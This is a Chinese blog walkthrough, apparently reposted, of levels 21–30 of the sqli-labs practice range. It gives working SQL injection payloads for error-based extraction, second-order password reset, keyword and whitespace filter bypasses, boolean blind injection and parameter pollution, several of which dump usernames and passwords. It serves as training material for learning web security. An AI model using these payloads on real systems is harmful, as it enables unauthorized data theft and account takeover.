在sqli-liabs学习SQL注入之旅(第二十一关~第三十关)

在sqli-liabs学习SQL注入之旅(第二十一关~第三十关),第1张

二十一关

打开这一关,开屏暴击。报错的大致意思是时区没有设置好,我们进入报错的文件,在php代码中加入中国时区的代码即可:

date_default_timezone_set("PRC");

其实不改这个也不影响我们做题目,只是有错不改看着难受而已,页面正常后,开始正题:

 第一步:在账号密码框一顿输出后,发现注入点不在外面,只能登录进入里面看看,看到了页面显示了我们的UA、cookie等信息。有点类似第二十关,属于cookie注入!唯一不同的是这一关考察了一个加解密运用,cookie中使用了base64加密,所以我们上加解密工具!

在burp suite中配合加解密工具拿下这关,如下图:

admin') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

 二十二关

这一关和上一关类似,不同之处在于这一关使用双引号闭合!

admin" and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

轻松拿下这一关。

sqliabs总共65关,恭喜你,已经过了三分之一了。继续搞,别半途而废!!!

二十三关

这里简单的单引号判断参数的接受类型,页面报错!这也太简单了吧!

接下来我们使用注释 --+ 或  #让页面恢复正常看看。失败了,看来没那么容易,毕竟BOSS都是到后面才出来的。 

分析下:发现 --+ 和  # 都不起作用,这里我们猜测 --+ 和 # 注释符都被过滤了,看看源码:

 老方法不行,那就学个新 *** 作,我们使用 or 1=1、and 1=1来代替 --+ 和 # 绕过。报错语句如下:

?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

页面成功爆出数据库名。后面的 *** 作就不重复了

温馨提示:这一关的 *** 作也可以用到之前所有的关卡,只是 --+ 和 # 能用的时候更加省事!!!

二十四关

相比之前的关卡,这一关的页面添加了更改密码和注册用户功能,不难猜测,这一关要在修改密码和注册用户上面做文章!!!这关也是一个新的知识点:二次注入(标注下:重要~重要~重要~)

第一步:我们先来注册一个恶意的账户名,例如admin'# 、admin'--+、admin' or '1'='1注入的恶意账号并不是只有以上几种,具体要根据实战随机应变,不过我们要满足两个主要的点:(1)我们注册的恶意用户要存在(2)参数的接受类型闭合要准确

此时我们二次注入的第一次注入已经完成,我喜欢把第一次注入叫:注册(register)注入

 第二步:登录我们注册的 admin'#  用户,我们进行一个修改密码的 *** 作。

这里第二次注入也完成了,把admin的密码成功修改了,第二次注入可以叫做:修改注入。

所以二次注入意思就是分两次进行注入,达到我们的目的。

 到了这里,小白肯定一脸懵逼!感觉像魔法一样,里面究竟发生了什么。我们来认真分析下这一关的源码:

对1分析:可以看到注册用户的sql语句,只是简单的把我们注入的用户密码插入数据库中,未做任何过滤(指的是过滤:' 、"、#、--+ 等危险符号)。

对2分析:可以看到修改用户密码的时候,只是简单的去数据库查找有没有对应的用户,如果有就修改密码成功!

 分析完后,咋看之下sql语句没啥问题,但是问题在于我们注册的 admin'# 用户,在注册语句中没把我们的 ' 和 # 给阻止掉。当我们修改密码的时候,后面的sql语句变化如下:

原先:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

我们执行修改 admin'# 用户的密码为 111111 时,语句变成:
$sql = "UPDATE users SET PASSWORD='111111' where username='admin'#' and password='123456' ";

可以看到,前面的语句给我们的 ' 闭合了,后面语句给我们的 # 给注释掉了,语句执行的时候变成了:
$sql = "UPDATE users SET PASSWORD='111111' where username='admin'

修改admin'#的密码,变成了修改admin的密码,所以才会发生上面admin密码被修改的那一幕!!!

这就是二次注入的原理,也是我们在二十四关学到的新技能!!!

二十五关

根据页面提示,这一关可能把 or 和 and 过滤了。我们分析这一关源码,果不其然,我们用户输入的 or 和 and 被替换成了空格,但是只过滤了一次,也是一个隐患。

第一步:我们快速判断下,参数使用了单引号闭合。开始注入语句:

分析下:
这是我们注入的语句:?id=1' order by 3--+
到了后台语句变成了:?id=1' der by 3--+

既然后台过滤了我们的 or 和 and,并且之过滤一次。那我们使用叠加 or 和 and 进行绕过即可。语句如下:
?id=1' oorrder by 3--+    页面被成功执行。

后面的步骤和之前一样,我们只要注意:我们注入的语句中有 or 或 and ,都需要叠加一下语句才能正常执行。例如,我们使用报错语句来完成这一关,语句如下:

爆数据库:?id=1' union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1),3--+

爆表:?id=1' union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7e),1),3--+

注意:这里的 information 要构造成 infoorrmation 才能正常执行,不然执行后会变成infmation,必然报错!

还有一种方法: 使用 && 代替 and,|| 代替or绕过。

二十五a关

这一关和二十五关类似,过滤了or和and,我们依然双写绕过即可。不过这一关是数字型注入 。直接上语句:(记住infoorrmation双写or)

?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()

 二十六关

这一关如果不看源码的话,是非常的难注入的,我们只能使用白盒审计进行注入: 

很明显,代码过滤了or、and、\*、--、#、\s、\ 和 / 还有空格。好家伙,这是不留一点机会啊!但是既然是靶场那肯定有迹可循!我们来学一点新的东西:

绕过:【利用()来代替空格】

PHP-5.2.17版本——【利用以下的编码来代替空格,从而进行绕过】:

%09  TAB 键(水平)

%0a  新建一行

%0c  新的一页

%0d  return 功能

%0b  TAB 键(垂直)

%a0  空格

注意:因为要绕空格,所以之前的 limit 就不能用了,而且报错注入只能爆出32位。如果对方数据多的话,我们可以使用一个盲注中用过的函数 substr() 。

 过关思路:

(1)我们把 and 换成 &&,而 && 要urlencode成 %26%26 才能成功注入,如下语句:

?id=1'%26%26updatexml(1,concat(0x7e,(database())),1)%26%26'1' ='1

(2)我们还可以把空格换成 || ,这里直接使用就能注入成功,如下语句:

?id=1'||updatexml(1,concat(0x7e,(database())),1)||'1' ='1

 直接爆表名,语句如下:

?id=1' || updatexml(1,concat(0x7e,(select (group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1) || '1' ='1

这里要注意一点,这里我们把空格换成 || ,在URL中是可以行得通的,但是在数据库中是行不通的,有的人可能会这样写:

?id=1' || updatexml(1,concat(0x7e,(select||group_concat(table_name)||from||infoorrmation_schema.tables||where||table_schema="security"),0x7e),1) || '1' ='1                这是一个错误的写法!不信我们可以进数据库测试下!如下图:

拓展小知识:常见的逻辑运算符有:|| 代表 or ,&& 代表 and , !代表否定。

他们的URL编码为:||  等于  %7C%7C ,&& 等于 %26%26  ,!等于 %A3%A1 。

二十六a关

这一关和上一关是类似的,我们直接来分析一下26a关源码。

这里过滤了or、and、/、\、#、--+、空格。

第一步:从源码中我们也可以分析到参数的接受方式,尝试构造恶意语句让页面正常。

?id=1')%26%26'1'=('1       页面正常
?id=1')%26%26'1'=('2       页面报错,说明我们的 %26%26 成功绕过了代码的过滤。但是还有一点,页面                
                           没有爆出错误字段,说明我们接下来使用报错注入是没有作用的。

第二步:使用布尔注入(布尔盲注、延时注入yyds,老折磨王了)

判断数据库名:?id=1')aandnd(substr((database()),1,1)='s')aandnd('1'='1       

页面正常、说明数据库名第一位为 s ,后面的小伙伴们就自己判断了,根据之前关卡的经验,使用burp进行爆破。

判断表名:?id=1')aandnd(substr((select(group_concat(table_name))from(infoorrmation_schema.table

s)where(table_schema=database())),1,8)='emails,r')aandnd('1'='1

爆字段:?id=1')aandnd(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),1,8)='emails,r')aandnd('1'='1

总结下这一关:这一关我们可以使用联合注入,具体 *** 作小伙伴就查看下其他文章,因为这一关使用联合注入,是有一点条件限制的(如PHP版本)。

布尔注入在这一关是没有其他附加条件的。

二十七关

通过前期的快速判断,知道这一关的参数接受方式是单引号 id= ('&id'),页面无回显。

但是使用之前的联合注入、报错注入,发现这一关都无动于衷。无奈只能来进行白盒审计,直接上代码。

可以分析到union,select,空格,注释符被过滤成空格了。我们使用:

%09  TAB 键(水平)

%0a  新建一行

%0c  新的一页

%0d  return 功能

%0b  TAB 键(垂直)

%a0  空格

爆出注入点:?id=0'%0aUNIon%0aSELEct%0a1,2,3%0aand%0a'1'='1

 爆表名:?id=0'%0aUNIon%0aSELEct%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema="security"%0aand%0a'1'='1 

后面的就不重复演示了。

二十七a关 

 这一关和二十七的差别在于,这一关参数接受类型是双引号。直接爆表名。

?id=0"%0aUNIon%0aSELEct%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema="security"%0aand%0a"1"="1 

二十八关

分析这一关的源码 

爆出字段:?id=0')union(select%0d1,2,'3

爆出所有数据库名:?id=1.1')union(select%0d1,(select(group_concat(schema_name))from(information_schema.schemata) ),'3

爆出数据:
?id=0')union(select%0d1,(select(group_concat(username,password))from(users)),'3

二十八a关

这一关和二十八关一样,我们直接爆出数据

直接爆出数据:
?id=0')union(select%0D1,(select(group_concat(username,password))from(users)),'3

二十九关

直接上报错注入语句:?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)  and '1'='1

如果实战中我们直接就获取出数据,然后西瓜到手了。但是靶场的目的不只是为了通关!!!我们来分析这一关的源码:

这一关考的内容是浏览器的参数污染!!!(不懂的小白可以自己百度学习”参数污染“)

我们对参数简单的判断一些,直接跳转hackerd页面。(实战中也会常常遇到页面跳转‘入侵警告’),这和我们源码中分析的一样!

使用参数污染进行注入:?id=1&id=-2' union select 1,2,3 --+

后面就是爆数据库、表、列、数据的 *** 作!

三十关

(考点:参数污染、双引号、联合注入or其他)

这一关重复了上关的 *** 作,作者可能为了让大家多重复几关熟悉参数污染注入吧!!!

 这一关和二十九关区别就在于这一关参数接受是  双引号  ,我们直接爆出数据:

?id=1&id=0" union select 1,group_concat(username,password),3 from users--+

 

总结&复习  #温故而知新--+ 一关到十关:

【1】我们学了SQL注入中的GET注入;

【2】考察了各种各样的参数接受方式;

【3】mysql中的多个函数使用if、sleep、outfile等等;

【4】还有文件读写注入、报错注入、布尔注入、延时注入。

十一关到二十关:

【1】我们学了SQL注入中的POST注入;

【2】考察了HTTP头部注入中的User-Agent注入、Referer注入、Cookie注入;

二十一关到三十关:

【1】我们学了加解密注入、二次注入;

【2】考察了各种关键的过滤如何绕过;

【3】各种编码%09  TAB 键(水平)、%0a  新建一行、%0c  新的一页、%0d  return 功能、%0b  TAB 键(垂直)、%a0  空格绕过;

【4】参数污染绕过;

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/887004.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-14
下一篇 2022-05-14

发表评论

登录后才能评论

评论列表(0条)

保存